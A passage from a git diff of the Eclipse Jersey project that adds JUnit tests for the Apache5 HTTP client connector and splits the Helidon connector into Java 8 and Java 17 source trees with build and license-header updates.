2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.message.GZipEncoder; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; + +/** + * + * @author Miroslav Fuksa + */ +public class SpecialHeaderTest extends JerseyTest { + @Override + protected Application configure() { + return new ResourceConfig(MyResource.class, GZipEncoder.class, LoggingFeature.class); + } + + @Path("resource") + public static class MyResource { + @GET + @Produces("text/plain") + @Path("encoded") + public Response getEncoded() { + return Response.ok("get").header(HttpHeaders.CONTENT_ENCODING, "gzip").build(); + } + + @GET + @Produces("text/plain") + @Path("non-encoded") + public Response getNormal() { + return Response.ok("get").build(); + } + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new Apache5ConnectorProvider()); + } + + + @Test + @Disabled("Apache connector does not provide information about encoding for gzip and deflate encoding") + public void testEncoded() { + final Response response = target().path("resource/encoded").request("text/plain").get(); + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals("get", response.readEntity(String.class)); + Assertions.assertEquals("gzip", response.getHeaderString(HttpHeaders.CONTENT_ENCODING)); + Assertions.assertEquals("text/plain", response.getHeaderString(HttpHeaders.CONTENT_TYPE)); + Assertions.assertEquals(3, response.getHeaderString(HttpHeaders.CONTENT_LENGTH)); + } + + @Test + public void testNonEncoded() { + final Response response = target().path("resource/non-encoded").request("text/plain").get(); + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals("get", response.readEntity(String.class)); + Assertions.assertNull(response.getHeaderString(HttpHeaders.CONTENT_ENCODING)); + Assertions.assertEquals("text/plain", response.getHeaderString(HttpHeaders.CONTENT_TYPE)); + Assertions.assertEquals("3", response.getHeaderString(HttpHeaders.CONTENT_LENGTH)); + } +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/StreamingTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/StreamingTest.java new file mode 100644 index 00000000000..4a38280f63f --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/StreamingTest.java @@ -0,0 +1,167 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import java.io.IOException; +import java.io.InputStream; +import java.util.concurrent.atomic.AtomicInteger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Invocation; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import jakarta.inject.Singleton; + +import org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.server.ChunkedOutput; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author Petr Janouch + */ +public class StreamingTest extends JerseyTest { + private PoolingHttpClientConnectionManager connectionManager; + + /** + * Test that a data stream can be terminated from the client side. + */ + @Test + public void clientCloseNoTimeoutTest() throws IOException { + clientCloseTest(-1); + } + + @Test + public void clientCloseWithTimeOutTest() throws IOException { + clientCloseTest(1_000); + } + + /** + * Tests that closing a response after completely reading the entity reuses the connection + */ + @Test + public void reuseConnectionTest() throws IOException { + Response response = target().path("/streamingEndpoint/get").request().get(); + InputStream is = response.readEntity(InputStream.class); + byte[] buf = new byte[8192]; + is.read(buf); + is.close(); + response.close(); + + assertEquals(1, connectionManager.getTotalStats().getAvailable()); + assertEquals(0, connectionManager.getTotalStats().getLeased()); + } + + /** + * Tests that closing a request without reading the entity does not throw an exception. + */ + @Test + public void clientCloseThrowsNoExceptionTest() throws IOException { + Response response = target().path("/streamingEndpoint/get").request().get(); + response.close(); + } + + @Override + protected void configureClient(ClientConfig config) { + connectionManager = new PoolingHttpClientConnectionManager(); + config.property(Apache5ClientProperties.CONNECTION_MANAGER, connectionManager); + config.connectorProvider(new Apache5ConnectorProvider()); + } + + @Override + protected Application configure() { + return new ResourceConfig(StreamingEndpoint.class); + } + + /** + * Test that a data stream can be terminated from the client side. + */ + private void clientCloseTest(int readTimeout) throws IOException { + // start streaming + AtomicInteger counter = new AtomicInteger(0); + Invocation.Builder builder = target().path("/streamingEndpoint").request(); + if (readTimeout > -1) { + counter.set(1); + builder.property(ClientProperties.READ_TIMEOUT, readTimeout); + builder.property(Apache5ClientProperties.CONNECTION_CLOSING_STRATEGY, + (Apache5ConnectionClosingStrategy) (config, request, response, stream) -> { + try { + stream.close(); + } catch (Exception e) { + // timeout, no chunk ending + } finally { + counter.set(0); + response.close(); + } + }); + } + InputStream inputStream = builder.get(InputStream.class); + + WebTarget sendTarget = target().path("/streamingEndpoint/send"); + // trigger sending 'A' to the stream; OK is sent if everything on the server was OK + assertEquals("OK", sendTarget.request().get().readEntity(String.class)); + // check 'A' has been sent + assertEquals('A', inputStream.read()); + // closing the stream should tear down the connection + inputStream.close(); + // trigger sending another 'A' to the stream; it should fail + // (indicating that the streaming has been terminated on the server) + assertEquals("NOK", sendTarget.request().get().readEntity(String.class)); + assertEquals(0, counter.get()); + } + + @Singleton + @Path("streamingEndpoint") + public static class StreamingEndpoint { + + private final ChunkedOutput output = new ChunkedOutput<>(String.class); + + @GET + @Path("send") + public String sendEvent() { + try { + output.write("A"); + } catch (IOException e) { + return "NOK"; + } + + return "OK"; + } + + @GET + @Produces(MediaType.TEXT_PLAIN) + public ChunkedOutput get() { + return output; + } + + @GET + @Path("get") + @Produces(MediaType.TEXT_PLAIN) + public String getString() { + return "OK"; + } + } +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/TimeoutTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/TimeoutTest.java new file mode 100644 index 00000000000..3dda5ecf699 --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/TimeoutTest.java @@ -0,0 +1,104 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import java.net.SocketTimeoutException; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.hamcrest.CoreMatchers.instanceOf; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.fail; + +/** + * @author Martin Matula + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class TimeoutTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName()); + + @Path("/test") + public static class TimeoutResource { + @GET + public String get() { + return "GET"; + } + + @GET + @Path("timeout") + public String getTimeout() { + try { + Thread.sleep(2000); + } catch (final InterruptedException e) { + e.printStackTrace(); + } + return "GET"; + } + } + + @Override + protected Application configure() { + final ResourceConfig config = new ResourceConfig(TimeoutResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(final ClientConfig config) { + config.property(ClientProperties.READ_TIMEOUT, 1000); + config.connectorProvider(new Apache5ConnectorProvider()); + } + + @Test + public void testFast() { + final Response r = target("test").request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testSlow() { + try { + target("test/timeout").request().get(); + fail("Timeout expected."); + } catch (final ProcessingException e) { + assertThat("Unexpected processing exception cause", + e.getCause(), instanceOf(SocketTimeoutException.class)); + } + } + + @Test + public void testPerRequestTimeout() { + final Response r = target("test/timeout").request() + .property(ClientProperties.READ_TIMEOUT, 3000).get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/TraceSupportTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/TraceSupportTest.java new file mode 100644 index 00000000000..a1fcb933809 --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/TraceSupportTest.java @@ -0,0 +1,235 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.util.List; +import java.util.Map; +import java.util.logging.Logger; + +import jakarta.ws.rs.HttpMethod; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Request; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.process.Inflector; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.model.Resource; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +/** + * This very basic resource showcases support of a HTTP TRACE method, + * not directly supported by JAX-RS API. + * + * @author Marek Potociar + */ +public class TraceSupportTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName()); + + /** + * Programmatic tracing root resource path. + */ + public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic"; + + /** + * Annotated class-based tracing root resource path. + */ + public static final String ROOT_PATH_ANNOTATED = "tracing/annotated"; + + @HttpMethod(TRACE.NAME) + @Target(ElementType.METHOD) + @Retention(RetentionPolicy.RUNTIME) + public @interface TRACE { + public static final String NAME = "TRACE"; + } + + @Path(ROOT_PATH_ANNOTATED) + public static class TracingResource { + + @TRACE + @Produces("text/plain") + public String trace(Request request) { + return stringify((ContainerRequest) request); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TracingResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC); + resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector() { + + @Override + public Response apply(ContainerRequestContext request) { + if (request == null) { + return Response.noContent().build(); + } else { + return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build(); + } + } + }); + + return config.registerResources(resourceBuilder.build()); + + } + + private String[] expectedFragmentsProgrammatic = new String[]{ + "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic" + }; + private String[] expectedFragmentsAnnotated = new String[]{ + "TRACE http://localhost:" + this.getPort() + "/tracing/annotated" + }; + + private WebTarget prepareTarget(String path) { + final WebTarget target = target(); + target.register(LoggingFeature.class); + return target.path(path); + } + + @Test + public void testProgrammaticApp() throws Exception { + Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME); + + assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode()); + + String responseEntity = response.readEntity(String.class); + for (String expectedFragment : expectedFragmentsProgrammatic) { + assertTrue(// toLowerCase - http header field names are case insensitive + responseEntity.contains(expectedFragment), + "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity); + } + } + + @Test + public void testAnnotatedApp() throws Exception { + Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME); + + assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode()); + + String responseEntity = response.readEntity(String.class); + for (String expectedFragment : expectedFragmentsAnnotated) { + assertTrue(// toLowerCase - http header field names are case insensitive + responseEntity.contains(expectedFragment), + "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity); + } + } + + @Test + public void testTraceWithEntity() throws Exception { + _testTraceWithEntity(false, false); + } + + @Test + public void testAsyncTraceWithEntity() throws Exception { + _testTraceWithEntity(true, false); + } + + @Test + public void testTraceWithEntityApacheConnector() throws Exception { + _testTraceWithEntity(false, true); + } + + @Test + public void testAsyncTraceWithEntityApacheConnector() throws Exception { + _testTraceWithEntity(true, true); + } + + private void _testTraceWithEntity(final boolean isAsync, final boolean useApacheConnection) throws Exception { + try { + WebTarget target = useApacheConnection ? getApacheClient().target(target().getUri()) : target(); + target = target.path(ROOT_PATH_ANNOTATED); + + final Entity entity = Entity.entity("trace", MediaType.WILDCARD_TYPE); + + Response response; + if (!isAsync) { + response = target.request().method(TRACE.NAME, entity); + } else { + response = target.request().async().method(TRACE.NAME, entity).get(); + } + + fail("A TRACE request MUST NOT include an entity. (response=" + response + ")"); + } catch (Exception e) { + // OK + } + } + + private Client getApacheClient() { + return ClientBuilder.newClient(new ClientConfig().connectorProvider(new Apache5ConnectorProvider())); + } + + + public static String stringify(ContainerRequest request) { + StringBuilder buffer = new StringBuilder(); + + printRequestLine(buffer, request); + printPrefixedHeaders(buffer, request.getHeaders()); + + if (request.hasEntity()) { + buffer.append(request.readEntity(String.class)).append("\n"); + } + + return buffer.toString(); + } + + private static void printRequestLine(StringBuilder buffer, ContainerRequest request) { + buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n"); + } + + private static void printPrefixedHeaders(StringBuilder buffer, Map> headers) { + for (Map.Entry> e : headers.entrySet()) { + List val = e.getValue(); + String header = e.getKey(); + + if (val.size() == 1) { + buffer.append(header).append(": ").append(val.get(0)).append("\n"); + } else { + StringBuilder sb = new StringBuilder(); + boolean add = false; + for (String s : val) { + if (add) { + sb.append(','); + } + add = true; + sb.append(s); + } + buffer.append(header).append(": ").append(sb.toString()).append("\n"); + } + } + } +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/UnderlyingCookieStoreAccessTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/UnderlyingCookieStoreAccessTest.java new file mode 100644 index 00000000000..02a21e16045 --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/UnderlyingCookieStoreAccessTest.java @@ -0,0 +1,52 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; + +import org.apache.hc.client5.http.cookie.CookieStore; +import org.glassfish.jersey.client.ClientConfig; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertSame; + +/** + * Test of access to the underlying CookieStore instance used by the connector. + * + * @author Maksim Mukosey (mmukosey at gmail.com) + */ +public class UnderlyingCookieStoreAccessTest { + + @Test + public void testCookieStoreInstanceAccess() { + final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new Apache5ConnectorProvider())); + final CookieStore csOnClient = Apache5ConnectorProvider.getCookieStore(client); + // important: the web target instance in this test must be only created AFTER the client has been pre-initialized + // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the + // connector provider's static getCookieStore method above. + final WebTarget target = client.target("http://localhost/"); + final CookieStore csOnTarget = Apache5ConnectorProvider.getCookieStore(target); + + assertNotNull(csOnClient, "CookieStore instance set on JerseyClient should not be null."); + assertNotNull(csOnTarget, "CookieStore instance set on JerseyWebTarget should not be null."); + assertSame(csOnClient, csOnTarget, "CookieStore instance set on JerseyClient should be the same instance as the one " + + "set on JerseyWebTarget (provided the target instance has not been further configured)."); + } +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/UnderlyingHttpClientAccessTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/UnderlyingHttpClientAccessTest.java new file mode 100644 index 00000000000..b487a82fdec --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/UnderlyingHttpClientAccessTest.java @@ -0,0 +1,55 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; + +import org.apache.hc.client5.http.classic.HttpClient; +import org.glassfish.jersey.client.ClientConfig; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertSame; + +/** + * Test of access to the underlying HTTP client instance used by the connector. + * + * @author Marek Potociar + */ +public class UnderlyingHttpClientAccessTest { + + /** + * Verifier of JERSEY-2424 fix. + */ + @Test + public void testHttpClientInstanceAccess() { + final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new Apache5ConnectorProvider())); + final HttpClient hcOnClient = Apache5ConnectorProvider.getHttpClient(client); + // important: the web target instance in this test must be only created AFTER the client has been pre-initialized + // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the + // connector provider's static getHttpClient method above. + final WebTarget target = client.target("http://localhost/"); + final HttpClient hcOnTarget = Apache5ConnectorProvider.getHttpClient(target); + + assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null."); + assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null."); + assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one" + + " set on JerseyWebTarget (provided the target instance has not been further configured)."); + } +} diff --git a/connectors/grizzly-connector/pom.xml b/connectors/grizzly-connector/pom.xml index a9327a5488d..3d16f8f1f80 100644 --- a/connectors/grizzly-connector/pom.xml +++ b/connectors/grizzly-connector/pom.xml @@ -1,7 +1,7 @@ + target17/classes/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.class + + [1.8,17) + + + + + org.apache.felix + maven-bundle-plugin + true + true + + + true + + + + + org.apache.maven.plugins + maven-resources-plugin + true + + + copy-jdk17-classes + prepare-package + + copy-resources + + + ${java8.build.outputDirectory}/classes/META-INF/versions/17 + + + ${java17.build.outputDirectory}/classes + + + + + + + + org.apache.maven.plugins + maven-antrun-plugin + + + copy-jdk17-sources + package + + + + sources-jar: ${sources-jar} + + + + + + + run + + + + + + + + diff --git a/connectors/helidon-connector/src/main/java/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java b/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java similarity index 82% rename from connectors/helidon-connector/src/main/java/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java rename to connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java index 7e7c10de0c3..93baa42135f 100644 --- a/connectors/helidon-connector/src/main/java/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java +++ b/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -15,13 +15,14 @@ */ package org.glassfish.jersey.helidon.connector; +import io.helidon.jersey.connector.HelidonProperties; import org.glassfish.jersey.internal.util.PropertiesClass; import io.helidon.config.Config; import io.helidon.webclient.WebClient; /** - * Configuration options specific to the Client API that utilizes {@link HelidonConnectorProvider} + * Configuration options specific to the Client API that utilizes {@code HelidonConnectorProvider}. * @since 2.31 */ @PropertiesClass @@ -30,5 +31,5 @@ public final class HelidonClientProperties { /** * A Helidon {@link Config} instance that is passed to {@link WebClient.Builder#config(Config)} if available */ - public static final String CONFIG = io.helidon.jersey.connector.HelidonProperties.CONFIG; + public static final String CONFIG = HelidonProperties.CONFIG; } diff --git a/connectors/helidon-connector/src/main/java/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java b/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java similarity index 96% rename from connectors/helidon-connector/src/main/java/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java rename to connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java index 1da44f9744a..aa1540a6e5d 100644 --- a/connectors/helidon-connector/src/main/java/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java +++ b/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -68,7 +68,7 @@ public class HelidonConnectorProvider extends io.helidon.jersey.connector.HelidonConnectorProvider { @Override public Connector getConnector(Client client, Configuration runtimeConfig) { - if (JdkVersion.getJdkVersion().getMajor() < 11) { + if (JdkVersion.getJdkVersion().getMajor() < 17) { throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); } return super.getConnector(client, runtimeConfig); diff --git a/connectors/helidon-connector/src/main/java8/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java b/connectors/helidon-connector/src/main/java8/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java new file mode 100644 index 00000000000..d1e8ee14ad2 --- /dev/null +++ b/connectors/helidon-connector/src/main/java8/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java @@ -0,0 +1,31 @@ +/* + * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.helidon.connector; + +import org.glassfish.jersey.internal.util.PropertiesClass; + +/** + * Configuration options specific to the Client API that utilizes {@code HelidonConnectorProvider} + * @since 2.31 + */ +@PropertiesClass +public final class HelidonClientProperties { + + /** + * A Helidon {@code Config} instance that is passed to {@code WebClient.Builder#config(Config)} if available. + */ + public static final String CONFIG = "jersey.connector.helidon.config"; +} diff --git a/connectors/helidon-connector/src/main/java8/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java b/connectors/helidon-connector/src/main/java8/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java new file mode 100644 index 00000000000..932155a0581 --- /dev/null +++ b/connectors/helidon-connector/src/main/java8/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java @@ -0,0 +1,42 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.helidon.connector; + +import org.glassfish.jersey.client.spi.Connector; +import org.glassfish.jersey.client.spi.ConnectorProvider; +import org.glassfish.jersey.internal.util.JdkVersion; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configuration; +import java.io.OutputStream; + +/** + * Helidon Connector stub which only throws exception when running on JDK prior to 17. + * New Helidon 3 does not support JDKs prior to 17. + * + * @since 3.0.5 + */ +public class HelidonConnectorProvider implements ConnectorProvider { + @Override + public Connector getConnector(Client client, Configuration runtimeConfig) { + if (JdkVersion.getJdkVersion().getMajor() < 17) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + return null; + } +} diff --git a/connectors/helidon-connector/src/main/resources/org/glassfish/jersey/helidon/connector/localization.properties b/connectors/helidon-connector/src/main/resources/org/glassfish/jersey/helidon/connector/localization.properties index 7b062886e5f..fb56d5c4f99 100644 --- a/connectors/helidon-connector/src/main/resources/org/glassfish/jersey/helidon/connector/localization.properties +++ b/connectors/helidon-connector/src/main/resources/org/glassfish/jersey/helidon/connector/localization.properties @@ -1,5 +1,5 @@ # -# Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. # # This program and the accompanying materials are made available under the # terms of the Eclipse Public License v. 2.0, which is available at @@ -14,4 +14,4 @@ # SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 # -not.supported=Helidon connector is not supported on JDK version less than 11. \ No newline at end of file +not.supported=Helidon connector is not supported on JDK version less than 17. \ No newline at end of file diff --git a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/AsyncTest.java b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/AsyncTest.java index 604a989b544..4370213953b 100644 --- a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/AsyncTest.java +++ b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/AsyncTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -21,7 +21,7 @@ import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; import org.hamcrest.Matchers; -import org.junit.Test; +import org.junit.jupiter.api.Test; import jakarta.ws.rs.GET; import 